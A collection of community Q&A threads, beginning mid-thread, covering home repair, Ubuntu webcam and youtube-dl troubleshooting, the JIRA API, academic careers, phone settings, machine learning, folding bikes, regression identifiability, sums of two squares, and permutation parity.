Comment: I have no idea, but it probably depends on what finish is going over it. I don't think shellac and exterior latex get along very well, for example. But I do a lot with "knotty" pine, and I just use the sealer/primer combo from my local paint store, or the transparent sealer that is applied before a translucent stain or other finish.


Who manufactured these windows and doors?

Question: I am trying to find a replacement threshold for my back door, but I haven't a clue who the manufacturer is. There is a logo etched in the lower right corner of the glass; however, I cannot figure out who's logo it is. They're hard to photograph, but I finally got a decent image of the etch. If anybody can point me at the manufacturer, that would be greatly appreciated!
Comment: Somewhere on the upper East Coast. https://agma.glass/ "The Architectural Glass & Metal Association (AGMA) is a community of glazing contractors & affiliated service providers in southeastern Pennsylvania, southern New Jersey, the State of Delaware, and the Eastern Shore of Maryland."
Comment: Good catch. I'm in Western Canada, so pretty far from that region. Just went through the list of affiliates without spotting that logo. The "A" in AGMA, if that is what it says, is slanted without a line in the middle, sort of like an italicized capital lambda. None of the agma logos online seem to have this style.
Answer: That logo will be the manufacturer of the insulated glazing unit (just the glass).
Door companies will use IGUs + Doors and pieces from various manufacturers to create a door that is then sold to the consumer.  In my experience the door manufacturers put their mark on the top edge of the door or via a metal plate on one of the width edges.
Comment: So I have looked all over the door, including the top, behind hinges, etc. and this is the only logo I see. Same logo on my front door and every window in the house. Even if they don't make the rest of the door, I'd still like to know who they are.
Comment: What if you look down at the separator between the glass panes sometimes this will be marked with the name of the company that assembled the glass and the year?
Comment: I did look there before asking here but will check again in the morning. Thanks for the suggestions.
Comment: No such luck. I contacted the builder, hopefully I'll get an answer from them tomorrow.


Webcam broadcasts upside down

Question: When I try to facebook video chat my image is broadcast upside down. Asus U81A-RX05 laptop with trusty tahr. It displays correctly in cheese. I tried getting libv4* but I can't find any of them in the repository and all the forums I looked at concerning this matter point me to a package that is not found in the ubuntu repository.Tried libv4-0 libv41 libv4l2. I see them on other websites but I do not know how where to save them or if I can use the apt command to download from a third party repository. Is there a more current version of videos4linux cause I'm not finding it anywhere?
Answer: libv4-0 libv41 libv4l2 packages are found in Ubuntu's Trusty repositories as in here: http://packages.ubuntu.com/trusty/libv4l-0.
You can download them from there and install them with Ubuntu Software Center, or Synaptic, or gdebi  (make sure you download the correct packages: x86-type, amd64-type, etc - same type as your ubuntu)
OR
you can open a Terminal window and type:
sudo apt-get update
sudo apt-get install libv4-0 libv41 libv4l2

Webcam broadcasts upside down


Youtube-dl is returning errors when grabbing from Mixcloud

Question: In short - I thought my earlier Python 3 enquiry would solve my problem with Youtube-dl but it didn't. I am working through a reddit enquiry I put in a couple of weeks ago and am now a bit stumped:
https://www.reddit.com/r/youtubedl/comments/frq8kr/am_getting_errors_when_grabbing_things_from/
For clarification I'm just looking to grab some mixes whilst working from home during lockdown.
My mac is an aging 2012 iMac, am running 10.12.6, XCode is 8.2, Python have 2.7 that it was installed with, 2.7.16 and 3.7 something.
Youtube-dl is only appearing to pick up 2.7 however;
e.g. youtube-dl --verbose - returns the following;
[debug] System config: []
[debug] User config: [u'-o', u'~/Downloads/%(title)s-%(id)s.%(ext)s']
[debug] Custom config: []
[debug] Command-line args: [u'--verbose']
[debug] Encodings: locale UTF-8, fs utf-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2020.01.01
[debug] Python version 2.7.10 (CPython) - Darwin-16.7.0-x86_64-i386-64bit
[debug] exe versions: avconv 11.4, avprobe 11.4
[debug] Proxy map: {}
Usage: youtube-dl [OPTIONS] URL [URL...]
The error I'm returning is the following;
ERROR: Unable to download JSON metadata:  (caused by URLError(SSLError(1, u'[SSL: TLSV1_ALERT_PROTOCOL_VERSION] tlsv1 alert protocol version (_ssl.c:590)'),))
The thought in the thread was people were thinking it was the OpenSSL libraries that needed updating. I'd hoped downloading a newer version of Python would have solved that but it didn't appear to.
Am a little stumped now and outside of my level of expertise which is frankly limited at the best of times.
I would be grateful for any advice or suggestions.
Answer: I ran into the same error (2010 MacBook Pro) and updating to Python 2.7.18 seemed to fix the issue. You can update to 2.7.18 here. I used the macOs 64-bit Installer, but feel free to install whichever way is easiest for you.
Screenshot of running youtube-dl post update:

Hope this helps!


JIRA SOAP API: "Email This Issue" possible via SOAP call?

Question: Is it possible to call the "Email This Issue" method (url shows "com.metainf.jira.plugin.emailissue.action.EmailThisIssue") from SOAP?  I would like to email this issue to the assignee with a custom description.
Answer: I can't see a way to do this through the API - http://docs.atlassian.com/rpc-jira-plugin/latest/com/atlassian/jira/rpc/soap/JiraSoapService.html
One alternative is to use the SOAP API to comment or, or otherwise update the issue, which should generate an email (depending on your notification scheme).
Depending on your use case you might also be able use subscriptions to meet your goal http://confluence.atlassian.com/display/JIRA/Receiving+Search+Results+via+Email
Answer: There is an example of how to use a JIRA URL directly without SOAP at http://jiradev.blogspot.com/2011/08/adding-components-to-jira-automatically.html
This may be the easiest way to do what you want.
~Matt


Accepting a postdoc position (in a different field) after industry

Question: After a PhD in Biomedical Engineering (focus on Imaging and Robotics) with a decent publication record and some prestigious fellowships, I took on an industry research position at a well-known company, where I've been for 1.5 yrs. Still, I've kept one foot in academia with the goal/hope of one day returning (for the usual reasons: opportunity to do longer-term research, publish, mentor, etc).
Specifically, I've been collaborating with a well-known PI from a different field (Neuroscience) who needed help with a "side-project" (applying machine learning and related techniques to complex neuroimaging data). The project has gone further than expected, and we are close to publishing a paper. I expressed interest in continuing this work and, to my surprise, he invited me to interview; it went well, and I've been offered a postdoc position. Furthermore, since he lacks computational expertise, he wants to set me up with a co-mentor who is renown in the machine learning field.
I'm looking for opinions on how risky it'd be to make this jump. My concerns are:

Field change. While I've taught myself a range of computational techniques through this project (and through my industry
job), my prior publications were not in this field.
Neuroscience is even newer for me. Even assuming a productive postdoc, I worry about my
competitiveness for future TT positions compared to people
who did their PhD's in these exact areas (what do I bring that they couldn't bring?). I'm also concerned
about my CV appearing disjointed.
The mentorship situation, since the PI himself is not a computational     expert. The people in the co-mentor's lab are experts, of course, but I do not know them as well (yet).

Reasons this could be great:

I get to do more long-term, basic research in an area
in which I've always been
interested.
The main PI and I have worked well together, and he is genuinely interested in mentoring me, helping me apply for postdoc/early-career funding, establish independence, etc.
If the co-mentorship situation works out as planned, I'll receive great training from both sides.
Hopefully by having a head start and being close to a paper
already, I'd hit the ground running.

My options are pretty straightforward: Say no and continue my current industry job; say no and start looking for strong postdoc labs closer to my area of expertise (or another industry research position that prioritizes publications and longer-term research); or jump on board and swim!
TLDR: I'm "stuck" between two good options - terrible situation, I know. Still, I've been on the fence, as it's hard giving up a permanent position in industry for a risky alternative. I'd like to know if my concerns are valid, and I'm curious what others would do in my shoes. Apologies for the overly long post, and thanks very much for the feedback!
Answer: As far as I know, there no specific field for postdoctoral researchers. A project may require experts in different fields, where machine learning, image processing are highly needed in interdisciplinary fields (e.g., medical image processing).
In my opinion, you should respond to these questions before accepting the offer:

Are you an expert in the domain of the position (regardless of the boss's field) and do you fulfil its requirements?
It is important to note that as a postdoc, you will be responsible for your work and you won't be supervised in terms of your knowledge.
Does this intersect with your PhD in terms of research domain?
Usually, researchers do not know their exact subdomain based on their PhDs (which is more likely to be in several subdomains). For example, working in Imaging and Robotics can be considered as "Image processing", "Machine learning", "Artificial intelligence", "Pattern recognition", etc. I would say, any position in one of these fields will be accepted for postdoc and thus will define more the research path in the next years.

If you take a look at the research interests of any senior researcher over time, you will find slight changes.
I am also doing my postdoc in your field, but it is totally different from what I have done during my PhD. However, I could find a common subdomain between the two experiences and I decided to continue in this direction for the next years.


Pixel 7 lock screen timer

Question: I would like to have the lock screen on a Google Pixel 7 to display for a specific time before powering off the screen.
This should not be confused with the screen timeout (normal screen > lock screen).  This question is about the specific timer that powers-off the screen once the lock screen is showing (lock screen > no power consumption by the screen).
There is a setting "Always show time and info", which is the opposite of what I want to do (battery waster, not battery saver), so that's "off", of course.
What I would expect is two timers.  One for (normal screen > lock screen), which I was able to find, and one for (lock screen > no power consumption by the screen).
Note that apps that simply place a black background on the screen aren't turning the power off to the screen, so that's not a solution.
Where can I change (limit) the amount of time that the lock screen is consuming power?
Comment: On my 6a, [this](https://i.stack.imgur.com/pkQ8M.png) setting does it, but of course it's not a timer
Comment: Edited the heading to make it consistent with body of question. You can roll back if you disagree
Answer: If the "Always show time and info" is OFF, then after the phone is locked, the lock screen is only consuming power for a few seconds.  This duration is not customizable.

Pixel 7 lock screen timer


How is the accuracy at the beginning of an epoch higher than that at the end of the previous one?

Question: Below is a toy example of a CNN that I am trying out. As is observed, the accuracy at the beginning of the first epoch is at 84% and it increases to 96% by the end.
With my understanding of backpropagation, the accuracy is expected to be the same when the next epoch begins - but that does not follow. The accuracy jumps to 98% (from 96%) at the beginning of the second epoch and then marginally increases by the end of it.
What explains the jump?
<code>Epoch 1/10
 136/1875 [=>............................] - ETA: 51s - loss: 0.5260 - accuracy: 0.8419

Epoch 1/10
1875/1875 [==============================] - 55s - loss: 0.1315 - accuracy: 0.9606

Epoch 2/10
  64/1875 [=>............................] - ETA: 51s - loss: 0.0550 - accuracy: 0.9839

Epoch 2/10
1875/1875 [==============================] - 54s - loss: 0.0447 - accuracy: 0.9864
</code>
As another example, I have observed that the accuracy starts at, say, 95.88% at the beginning of an epoch, which is already higher than the end of the previous epoch. And as the epoch training progresses, the accuracy gradually decreases slightly down to, say, 95.52%.
I understand that overfitting and non-shuffled data that is responsible here. But are those the only reasons for this gradual decrease over a single epoch?
Answer: While the first accuracy shown for epoch 2 is near the beginning of epoch 2, it is not at the beginning - 64 batches of epoch 2 have already been processed. So at this point, you would expect there to be some change in the accuracy from the end of epoch 1.


Gravel + Folding Bike

Question: Folding bikes have typically been built for commuters and are designed to be compact and light weight. In the spirit of discovery, i wanted to ask if anyone has seen or tried to build a gravel focused folding bike that doesn't compromise on portability?
Comment: There are certainly bikes with S&S couplers (not quick folding but pack to a similar size as a folder with the same size wheels).  Would they be of interest? And it's certainly possible to do rough stuff on a good folder - one of my club mates has done the local blue MTB trail on a Brompton
Comment: I have seen very few drop bar folding bikes, so if that's part of your definition of a gravel bike, I bet it will be hard to find off the shelf. I wonder if Brompton, Tern, or others do frame kits?
Comment: Drop bars tend to not be found on folding bikes because they don't fold up well.   One might find bull-horns a better fit, especially if the stem has a quick-release to let everything pack away flatter and better.
Answer:
a gravel focused folding bike that doesn't compromise on portability?

All bicycles are a study in compromise.
Here are three examples of the many different approaches to the portability requirement.
Montague

Less portable due to large wheel size but better off road.
Brompton

More portable with smaller wheels
Moulton

Smaller wheels and a frame design that is very strong.
You have to decide what factors are more or less important to you and your situation in order to select the right platform for gravel bike portability.
Comment: @EarlGrey I'm not a fan of the Montague. It's only here as an example of a folding bike that has large wheels. Back in the day Fuji made a fairly solid large wheel folding bike.
Comment: Moulton make a model called XTB that has fat tyres and would be quite fun as a gravel bike. I think the frame geometry is almost the same as the drop bar models.
Comment: @Noise I also like the Moulton.  Alex Moulton put a lot of thought into designing his frame.
Comment: sorry but the first one seems to be very flimsy, not for offroad but in general. Have a look at https://bikefriday.com/product/bike-friday-all-packa
Answer: Something like Tern Bicycles' Verge 8i looks like it could be a good, stable and flexible platform for a gravel/bikepacking build:
Tire selection might be a limitation with 20" wheels, and the gear range of the Alfine 8 might not be wide/low enough if you have big climbs. But I bet this bike would actually perform quite nicely on dirt roads.
That's just one example of a quality folding bike with clearance for some wider tires, which you could ride on gravel.
Answer: I have a 20" folder, which was retrofitted form 1x6 to 3x8 gears.  At the bottom end, it has around 15 gear inches.  I've ridden gravel and very light offroad, and it tows a hundred kilo trailer adequately.
In theory it can climb steep grades, but as the ground gets steeper, the handlebars end up aft of the BB axle.  This makes pedalling darn-near impossible.
The clamps are not as rigid as a piece of metal or carbon, so there are several additional points where flex enters the system, and you can definitely feel the bars move.
Many folders have clearance for a 45mm+ tyre, but 20" wheels don't have the same "rollover" as a larger 26" or 622 wheel.   So lumpy or rutted ground is extra hard.
On the positive side, folders tend to enjoy a short wheelbase which makes for a more agile ride, and the small front wheel allows fast steering inputs.

Every bike is a compromise.  A folder has to compromise somewhere, which is often weight, so an otherwise identical bike without the hinges and clamps will be lighter and stiffer.  How important is folding to you ?
Comment: Of course, rollover can be improved by lowering the pressure. My 20" trials bike is much more comfortable on ruts than my 700C gravel bike, the tradeoff for this being abysmally bad rolling resistance on tarmac.

Gravel + Folding Bike


Fitting least squares when number of predictors are larger than instances

Question: A statement from the book Introduction to Statistical learning with applications in R, didn't quite make sense to me.  It says, "In cases when number of predictors are greater than the instances we cannot even fit the multiple linear regression model using least squares". Why is that?
Comment: This leads to multicollinearity. I have not read that book but I guess they mean $X^TX$ cannot be inverted, so the formula $\beta=(X^TX)^{-1}X^Ty$ cannot be used.
Comment: You can pick the minimum norm least squares solution to break the infinite-way tiie for least squares solution. Read this https://see.stanford.edu/materials/lsoeldsee263/08-min-norm.pdf . As for @gung s answer, identifiability, schmidenitifability.  If we're trying to make predictions, rather than trying to estimate coefficients, we dom't need no stinkim' identifiability.
Comment: The quoted text says that F statistic can't be used when the number er of predictors are greater than the instances. But I think it makes too strong a statement, or at least a statement open to misinterpretation, in saying that a least squares model can not be fit when number of predictors is greater than number of instances (data points).
Comment: @MarkL.Stone gung's answer is very informative at the level of the OP, but I truly would appreciate your giving a formal answer discussing how this is modified when regularization comes into play, for instance. I also think further discussion on matrix invertability and null spaces could be enlightening (this at a more basic level than your comments). Best wishes!
Comment: @Antoni Parellada I'll let you have the honor/get the glory and points from providing the answer. Thanks for the suggestion though.
Answer: Such a model is not identifiable.  That is, you cannot tell what variable contributed what amount because there are infinite possible combinations that are equally good.  For starters, skip the regression model and just consider a simple sum:
$$
5 = x_1 + x_2
$$
What numbers do you think $x_1$ and $x_2$ might be?  They really could be anything.  Here are some possibilities:
\begin{align}
x_1 &= 2,\qquad  &x_2 &= 3  \\
x_1 &= 3,\qquad  &x_2 &= 2  \\
x_1 &= 5,\qquad  &x_2 &= 0  \\
x_1 &= -10000,\qquad &x_2 &= 10005  \\
&\text{etc.}
\end{align}
There is no way to decide which set of estimated values is more likely.
The situation with multiple regression is the same.  In fact, that is a multiple regression, albeit an exceedingly simple one.  You have 1 instance and 2 predictors.  We can make more elaborate examples with 2 instances, so that there is a nominal slope, but the fundamental problem is the same.


A question about the sum of two squares

Question: So I want to show a few things about the form $x^2+ y^2$, namely that for any number, $n$, we can find at least $n$ consecutive integers that are not the sum of two squares. So far, I've only shown that a number that is a sum of two squares has to be such that every prime occurring in the prime factorization that is $3 \text { mod } 4$ has an even exponent, but I'm not sure how to prove the last bit about the consecutive numbers. How should I continue?
Answer: You have indicated that, given a prime $q \equiv 3 \pmod 4,$ if a positive number $n$ is divisible by $q$ but not by $q^2$ then it cannot be the sum of two squares.
Let $m+1 \equiv  3 \pmod 9.$ Then let $m+2 \equiv 7 \pmod {49}.$ Next $m+3 \equiv 11 \pmod {121}.$ Keep going, up to $m+n \equiv q_n \pmod {q_n^2}$
This is possible by repeated Chinese Remainder Theorem.
Comment: @SultanofQuizikhstan  force $m \equiv 2 \pmod 9,$ then $m \equiv 5 \pmod {49},$ then $m \equiv 8 \pmod{121}$
Comment: I understand most of this proof, but how do you know that m+2 is 7 mod 49, for example? Doesn't the Chinese remainder theorem only guarantee unique existence?
Comment: To the proposer: The Chinese Remainder Theorem implies that there exists $m$  that satisfies all $n$ of the congruences.
Answer: The proof below is based on a paper${}^{\color{blue}{[1]}}$ by Ian Richards, I just fill in some gaps.
Given positive integer $n$,

Let $[n]$ be a short hand for $\{ 1, 2, \ldots, n \}$.
Let $\mathcal{P}$ be the subset of $[4n]$ consists of prime $\equiv -1 \pmod 4$.
For $p \in \mathcal{P}$, let $\beta(p)$ be the integer such that $p^{\beta(p)} \le 4n < p^{\beta(p)+1}$.
Let $P = \prod_{p \in \mathcal{P}} p^{\beta(p)+1}$ and pick a $y \in [P]$ such that $4y \equiv -1 \pmod P$.

For any $\ell \in [n]$, we claim $y + \ell$ isn't a sum of squares.
Assume the contrary, let's say $y + \ell = u^2+v^2$ for some integers $u,v$. We have
$$4(u^2+v^2) = 4(y+\ell) \equiv 4\ell - 1\pmod P$$
Since $4\ell-1 \equiv -1\pmod 4$, $4 \ell - 1$ contains prime factors from $\mathcal{P}$ whose exponent is odd. Let $p$ be one of these prime with  exponent $2a+1$, i.e. $p \in \mathcal{P}$ which satisfies
$$p^{2a+1} | 4\ell - 1 \quad\text{ but }\quad p^{2a+2} \not| 4\ell - 1$$
By Chinese remainder theorem,
$$4(u^2+v^2) \equiv 4\ell - 1 \pmod P
\quad\implies\quad 4(u^2 + v^2) \equiv 4\ell - 1 \pmod {p^{\beta(p)+1}}\tag{*1}
$$
Since $2a+1 \le \beta(p)+1$, this leads to $p^{2a+1} | 4(u^2+v^2)$.
Since prime of the form $\equiv -1 \pmod 4$ is prime in the ring of Gaussian integers,
$$p^{2a+1} | 4(u^2+v^2)\quad\implies\quad p^{2a+2} | 4(u^2+v^2)$$
Since $2a+2 \le \beta(p)+1$, RHS of $(*1)$ tell us $p^{2a+2} | 4\ell - 1$. This contradicts with the role of $p$ and $a$.
As a result, none of the $n$ consecutive integers $y+1, y+2, \ldots, y + n$ is a sum of two squares. This means the gap between the sum of two squares can be as large as one wish.
References

$\color{blue}{[1]}$ I Richards, On the gaps between numbers which are sums of two squares  - Advances in Mathematics, 1982 - Academic Press
(an online copy can be found here)

A question about the sum of two squares


Odd/Even Permutations

Question: How do you classify a permutation as odd or even (composition of an odd or even number of transpositions)? I somewhat understand the textbook definition of it but I'm having hard time conceptualizing and determining how it is actually determined if it's odd or even.
Answer: Every permutation can be expressed as the product of one and only one of the following:

an odd number of transpositions $\iff$ odd permutation
an even number of transpositions $\iff$ even permutation

There are many ways to write a permutation as the product of transpositions, and they can vary in length, but those products will have either an odd or an even number of factors, never both.
If you know cycle notation, knowing the parity (oddness/evenness) can be found fairly easily.
One can always resort to following the pattern:
$$(a_1, a_2, a_3, a_4, a_5) = (a_1, a_5)(a_1, a_4)(a_1, a_3)(a_1, a_2)$$ which is even because there are four transpositions.
Alternatively:
$$(a_1, a_2, a_3, a_4, a_5) = (a_1, a_2)(a_2, a_3)(a_3, a_4)(a_4, a_5)$$
Again, an even number of transpositions $\iff$ the permutation is even.
You'll see that the number of transpositions in a product corresponding to a permutation that is a cycle of length $n$ can be expressed as the product of $n - 1$ transpositions. So a cycle with a length that is even (has an even number of elements) is ODD, and a cycle with a length that is odd (has an odd number of elements) is EVEN.
If you have a permutation that is the product of disjoint cycles: say three cycles, corresponding to lengths $n_1, n_2, n_3$, then the number of transpositions representing this permutation can be computed by the parity of $(n_1 - 1)+(n_2 - 1) + (n_3 - 1)$ or simply the parity (oddness/evenness) of $n_1+n_2+n_3 - 1$

One final note: the identity permutation (i.e., the "do nothing" permutation): the permutation which can be represented as the product of one-cycles sending $1 \mapsto 1,\;2\mapsto 2,\; \cdots , n\mapsto n\;$ is always considered to be an EVEN permutation. Why? Well, note that we can represent the identity permutation by the product, say, of $(12)(12) = (12)(12)(3)\cdots(n) = (1)(2)(3)\cdots (n)$, so it is indeed an even permutation.
Comment: I didn't get how >$(12)(12) = (12)(12)(3)\cdots(n) = (1)(2)(3)\cdots (n)$ shows that identity is an even permutation.
Comment: How do you write so clearly? Namaste!
Comment: Such a nice descriptive answer, hope you get feedback! +1
Comment: Thank you so much, apparently it was hard for my teacher to write the first 3 sentences of your response.
Comment: @sequence That's because permutation $(1 2)(1 2)(3)...(n)$ has even number of transpositions ($(1 2)$ and $(1 2)$)
Comment: Dear @amWhy,  warmest congrats for reaching the incredible reputation of 200k right now! Thanks 200k times for your support!
Answer: Simply put, it's like adding odd and even numbers. If you add two even numbers, you'll only ever get another even number. If you add two odd numbers, you'll get an even number. If you add an odd and an even number, you'll get another odd number.
It works the same for permutations. "Odd" and "Even" are defined in terms of how they interact. Define the identity permutation (that is, the one that doesn't move any elements) as an even permutation, since applying it twice will produce itself.
Now, consider the smallest possible permutations - the ones that interchange two elements, but otherwise leave everything as-is. For instance, looking at {1,2,3,4,5}, you might have {1,3,2,4,5} as an example. These are defined to be "odd" permutations, and are referred to as "transpositions".
The use of this concept is that, when expressing a permutation in terms of other permutations, oddness and evenness is preserved, no matter how you might express it. Like how, if you have the number 37, then it doesn't matter how many ways you express it as a sum of integers, there will necessarily be an odd number of odd numbers in the sum - 36+1 has one odd, 32+3+1+1 has three odds, and so on.
The permutation {3,2,1} could be expressed as "switch one and three", a single transposition. That makes it an odd permutation. It could also be expressed as "switch positions 1 and 2 ({2,1,3}), then switch positions 2 and 3 ({2,3,1}), then switch positions 1 and 2 ({3,2,1})" - three transpositions, again odd. No matter how you express it, it will always require an odd number of odd permutations.
To demonstrate it in action, consider the function
$$
f(a,b,c) = \frac{a}{b}+\frac{b}{c}+\frac{c}{a}
$$
Now, if you apply an odd permutation over the three variables, you'll get a different result. But if you apply an even permutation, it will produce the same result.
One can also think of oddness in terms of "cycles". Every permutation can be expressed in terms of a set of mutually exclusive cycles. For instance, {3,7,4,1,6,2,5} can be expressed as (431)(6572), where the notation means "move 4 to 3, move 3 to 1, and move 1 to 4" and "move 6 to 5, move 5 to 7, move 7 to 2, and move 2 to 6". How does this help? Quite simply, if you count the number of elements within a cycle, then if the result is even, it's an odd permutation, and vice versa. So here, we have 3 elements and 4 elements, making an even and an odd permutation, respectively.
Why does 3 elements make an even permutation? Because you can express it as two transpositions: (431) becomes (43)(31). Similarly, a 4 element cycle is odd - (6572) becomes (65)(57)(72).
Comment: @HemantAgarwal - this is not the appropriate forum for that level of proof. The question was about how they're classified. I would have suggested that you ask it as a new question on math.SE, but it's already been asked, here https://math.stackexchange.com/questions/46403/alternative-proof-that-the-parity-of-permutation-is-well-defined - or here, https://math.stackexchange.com/questions/4768/every-permutation-is-either-even-or-odd-but-not-both
Comment: You have given the example of going from {1,2,3} to {3,2,1} and said that "No matter how you express it, it will always require an odd number of odd permutations." Can you please prove that in general, if something requires an odd number of permutations to go from one state x to another state y, then there is no way that we can go from state x to state y using an even number of permutations ?
Comment: @HemantAgarwal - if, instead, you're asking for a general proof in the specific case of [3,2,1], then it's easy enough to obtain by noting that, if you label [1,2,3], [2,3,1], and [3,1,2] as "even" and [1,3,2], [2,1,3], and [3,2,1] as "odd", then any single transposition (you can check by exhaustion) will switch you from one to the other.
Answer: Making it even more simple:
Every permutation can be reduced to a sequence of "two-element swaps": for example, the permutation that changes 123 into 312 can be written as (13)(12): first swap 1 and 3: 123-> 321, then swap 1 and 2: 321->312.
Of course, there are many different ways to do that. Any one permutation will consist of either an even number of swaps or an odd number no matter how that is done.
An even permutation is one that requires and even number of "swaps", an odd permutation is one that requires an odd number of "swaps".
Answer: Any permutation may be written as a product of transpositions. If the number of transpositions is even then it is an even permutation, otherwise it is an odd permutation. For example $(132)$ is an even permutation as $(132)=(13)(12)$ can be written as a product of 2 transpositions.
To determine whether $(a_1a_2\cdots a_n)(b_1b_2\cdots b_m)\cdots$ is an even permutation break each cycle down into transpositions : $(a_1a_2\cdots a_m)=(a_1a_2)(a_1a_3)\cdots(a_1a_n)$. The total number of transpositions for all cycles should be an even number for an even permutation.
Answer: There is another definition of even/odd permutation I found in one of the books, which I found to be easier to understand. It is:

Let P is a permutation function on a set S. For a pair (i,j) of elements in S such that i < j , if P(i) > P(j), then the permutation is said to invert the order of (i,j). The number of such pairs is known as the parity of the permutation. If permutation inverts even number of such pairs it is an even permutation else it is an odd permutation.
Comment: Please state the book's name. Thanks in anticipation.
Comment: Hi, I answered this 3 years back. Let me search for the book. can't promise that I will be able to find it. Ill surely try.
Comment: The book "Aspects of Symmetry", by Robert Howlett uses a similar definition (see p.44 of [online PDF from author's website](https://www.maths.usyd.edu.au/u/bobh/UoS/2gwhole.pdf)
Answer: One other definition of the sign of a permutation comes from linear algebra, a permutation is a map of sets $\sigma:X\rightarrow X$, so we can view it as a linear map on a vector space with a basis indexed by our set X. Then the sign of sigma is simply the determinant of this linear map, interpreted in our field.
This perspective can be helpful for computing the signs of permutations arising from other actions too, such as the symmetric group acting on $k$ element subsets of $X$. It also suggests to look at other coefficients of the characteristic polynomial, for example, the trace counts the number of fixed points of $\sigma$ on $X$.
Answer: The results follow naturally upon considering the action of $ S_n $ on arrangements :
A list $ [k_1, \ldots, k_n] $ made by taking $ 1, 2, \ldots, n $ in some order is called an arrangement.
For $ \sigma \in S_n $ and arrangement $ [k_1, \ldots, k_n] $, we can define
$$ \sigma * [k_1, \ldots, k_n] := ( [k_1, \ldots, k_n] \text{ after putting each } k_i \text{ into slot } \sigma(i) )$$
That is, $ [k_1, \ldots, k_n] \rightsquigarrow \sigma * [k_1, \ldots, k_n] $ amounts to putting whatever is in slot $ i $ into slot $ \sigma(i) $.

Note $\sigma * [k_1, \ldots, k_n] = [k_{\sigma^{-1} (1)}, \ldots, k_{\sigma^{-1} (n)}]$
[Because in $ [k_1, \ldots, k_n] \rightsquigarrow \sigma * [k_1, \ldots, k_n] $ the $ k_t $ which gets sent to slot $ j $ satisfies $ \sigma(t) = j $ i.e. $ t = \sigma ^{-1} (j) $.]
Also $ \sigma * ( \tau * [k_1, \ldots, k_n] ) = (\sigma \tau) * [k_1, \ldots, k_n]  $
[Because in $[k_1, \ldots, k_n] \rightsquigarrow \sigma * (\tau * [k_1, \ldots, k_n])$, $k_i$ is first sent to slot $ \tau(i) $ and then to slot $ \sigma(\tau(i)) $. And $ [k_1, \ldots, k_n] \rightsquigarrow (\sigma \tau)*[k_1, \ldots, k_n] $ has the same effect.]
We'll write $ ``\, [k_1, \ldots, k_n] \stackrel{\sigma}{\rightsquigarrow} [l_1, \ldots, l_n]"$ to mean $`` \, [l_1, \ldots, l_n] = \sigma * [k_1, \ldots, k_n]" $.

Example 1. Cycle $ (1 \, \, 2 \, \, 3 \, \, 4) = (1 \, \, 4) (1 \, \, 3) (1 \, \, 2) $. It's easy to check this is true, but here is one way we can come up with the decomposition :

So $$ (1 \, \, 2 \, \, 3 \, \, 4)*[1,2,3,4] = (1 \, \, 4)*\bigg( (1 \, \, 3) * ( (1 \, \, 2) * [1,2,3,4]) \bigg)$$
i.e.
$$(1 \, \, 2 \, \, 3 \, \, 4)*[1,2,3,4] = (1 \, \, 4) (1 \, \, 3) (1 \, \, 2) * [1,2,3,4] $$
i.e.
$$ (1 \, \, 2 \, \, 3 \, \, 4) = (1 \, \, 4) (1 \, \, 3) (1 \, \, 2) $$
This suggests in general $ (a_1 \, \, a_2 \, \, \ldots \, \, a_k) = (a_1 \, \, a_k) (a_1 \, \, a_{k-1}) \ldots (a_1 \, \, a_2) $, which is readily verified to be true.
Also any $ \sigma \in S_n $ is a product of disjoint cycles, and each cycle decomposes by $ (a_1 \, \, a_2 \, \, \ldots \, \, a_k) = (a_1 \, \, a_k) (a_1 \, \, a_{k-1}) \ldots (a_1 \, \, a_2) $. So each $ \sigma \in S_n $ is a product of transpositions.

Example 2.

So
$$ (1 \, \, 4) = (1 \, \, 2) (2 \, \, 3) (3 \, \, 4) (2 \, \, 3) (1 \, \, 2) $$
Similarly in general any transposition is a product of an odd number of "elementary transpositions" [i.e. transpositions of the form $ (j \, \, j+1) $]

For $ \sigma \in S_n $, a pair $ i < j $ such that $ \sigma(i) > \sigma(j) $ is called an inversion in $ \sigma $. Also $ \text{inv}(\sigma) $ denotes the number of inversions in $ \sigma $.
To keep track of parity of $ \text{inv}(\sigma) $, we can look at sign $ \text{sgn}(\sigma) := (-1)^{\text{inv}(\sigma)} $. Permutations with sign $ 1 $ are called even, and those with sign $ (-1) $ odd.
By an "inversion in arrangement $[k_1, \ldots, k_n]$", we'll mean an inversion in $ \sigma = \begin{pmatrix} 1 &2 &\ldots &n \\ k_1 &k_2 &\ldots &k_n \end{pmatrix} $ [that is, a pair $ k_i, k_j $ in $[k_1, \ldots, k_n]$ where the larger of the two is to the left of the smaller]. Similarly sign of an arrangement is also meaningful.

Notice for any $ (j \, \, j+1) \in S_n $, $ [k_1, \ldots, k_n] \rightsquigarrow (j \, \, j+1)*[k_1, \ldots, k_n] $ changes number of inversions by $ \pm 1 $ (and therefore flips sign).
Hence for any transposition $ \tau \in S_n $, writing it as a product of odd number of elementary transpositions (example 2) gives that $ [k_1, \ldots, k_n] \rightsquigarrow \tau * [k_1, \ldots, k_n] $ reverses sign.

Let $ \tau_1, \ldots, \tau_k \in S_n $ be transpositions. Looking at their product $ \sigma = \tau_1 \ldots \tau_k $,
$$ (\tau_1 \ldots \tau_k)*[1, \ldots, n] = \tau_1 * \big( \ldots * (\tau_k * [1, \ldots, n]) \ldots \big) $$
As RHS has sign $ (-1)^k $,
$$ \text{sgn}(\tau_1 \ldots \tau_k * [1, \ldots, n]) = (-1)^k $$
i.e.
$$ \text{sgn}([\sigma^{-1}(1), \ldots, \sigma^{-1}(n)]) = (-1)^k $$
i.e. $ \text{sgn}(\sigma ^{-1}) = (-1)^k $, that is $ \text{sgn}(\tau_k \ldots \tau_1) = (-1)^k $.
So product of any $ k $ transpositions has sign $ (-1)^k $.

Let $ \sigma, \pi \in S_n $. Writing them as product of transpositions (example 1)
$$ \sigma = \tau_1 \ldots \tau_k \\ \pi = \tau'_1 \ldots \tau'_l $$
we have $ \text{sgn}(\sigma \pi) = \text{sgn}(\tau_1 \ldots \tau_k \tau'_1 \ldots \tau'_l) $ $ = (-1)^{k+l} = (-1)^k (-1)^l $ $ = \text{sgn}(\tau_1 \ldots \tau_k) \text{sgn}(\tau'_1 \ldots \tau'_l) $ $ = \text{sgn}(\sigma) \text{sgn}(\pi) $.
So finally for any $ \sigma, \pi \in S_n $, $$ \fbox{$ \text{sgn}(\sigma \pi) = \text{sgn}(\sigma) \text{sgn} (\pi) $} $$

